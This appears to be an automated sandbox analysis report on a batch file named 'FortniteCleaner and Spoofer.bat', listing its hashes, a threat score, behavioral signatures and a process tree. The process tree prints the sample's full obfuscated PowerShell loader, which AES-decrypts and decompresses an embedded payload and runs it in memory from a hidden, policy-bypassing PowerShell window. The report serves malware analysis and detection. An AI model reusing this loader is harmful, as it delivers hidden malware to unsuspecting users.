Analysis
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max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
30-12-2024 09:09
Static task
static1
Behavioral task
behavioral1
Sample
FortniteCleaner and Spoofer.bat
Resource
win7-20240903-en
windows7-x64
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
FortniteCleaner and Spoofer.bat
Resource
win10v2004-20241007-en
windows10-2004-x64
19 signatures
150 seconds
General
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Target
FortniteCleaner and Spoofer.bat
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Size
11.7MB
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MD5
2633869ac4a9cb98b01488ac2cb20d72
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SHA1
167871fab0a19acaf7ad22144d8fdb5b09959a28
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SHA256
6a52f0cf77b3706de713eff3d7e038ff13d5ca7c8fc837f4eee0adac079cf522
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SHA512
f4d48d8e672d828c79b65b886c1ca3a423701cd6a8077c0ab78c4d2e60284ed505fc971975beab3e79bd9b9c20f821b52111258642c8bbb4024891a343004543
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SSDEEP
49152:z+8TuE0MoXJ8qRdxr47sbd6rBJYqfpbAgpK64KspQPEf+UWONvGFni6xha3DrNG0:k
Score
8/10
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2304 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2304 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2304 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2136 wrote to memory of 2276 2136 cmd.exe 29 PID 2136 wrote to memory of 2276 2136 cmd.exe 29 PID 2136 wrote to memory of 2276 2136 cmd.exe 29 PID 2136 wrote to memory of 2304 2136 cmd.exe 30 PID 2136 wrote to memory of 2304 2136 cmd.exe 30 PID 2136 wrote to memory of 2304 2136 cmd.exe 30
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\FortniteCleaner and Spoofer.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2136 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function wxtqr($ODxam){ $yFHSw=[System.Security.Cryptography.Aes]::Create(); $yFHSw.Mode=[System.Security.Cryptography.CipherMode]::CBC; $yFHSw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $yFHSw.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('MlS5vgEV14RQQ3ZEfZqUBeQcgrXfss4V2pUy4tjwV1I='); $yFHSw.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('nxrFwGMsIIo9SFRZFcB28A=='); $maSQj=$yFHSw.CreateDecryptor(); $return_var=$maSQj.TransformFinalBlock($ODxam, 0, $ODxam.Length); $maSQj.Dispose(); $yFHSw.Dispose(); $return_var;}function WDxBz($ODxam){ $GXRNP=New-Object System.IO.MemoryStream(,$ODxam); $ruNFB=New-Object System.IO.MemoryStream; Invoke-Expression '$PBbkq #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$GXRNP,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $PBbkq.CopyTo($ruNFB); $PBbkq.Dispose(); $GXRNP.Dispose(); $ruNFB.Dispose(); $ruNFB.ToArray();}function HXYOu($ODxam,$waUGN){ $agWIT = @( '$XEdTc = [System.#R#e#f#l#e#c#t#i#o#n#.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$ODxam);'.Replace("#", ""), '$PzJKk = $XEdTc.EntryPoint;', '$PzJKk.Invoke($null, $waUGN);' ); foreach ($ayBSI in $agWIT) { Invoke-Expression $ayBSI };}$ulpxy=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\FortniteCleaner and Spoofer.bat').Split([Environment]::NewLine);foreach ($WdBTO in $ulpxy) { if ($WdBTO.StartsWith('SIROXEN')) { $xSKPu=$WdBTO.Substring(7); break; }}$NWMte=WDxBz (wxtqr ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($xSKPu)));HXYOu $NWMte (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\FortniteCleaner and Spoofer.bat')); "2⤵PID:2276
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2304
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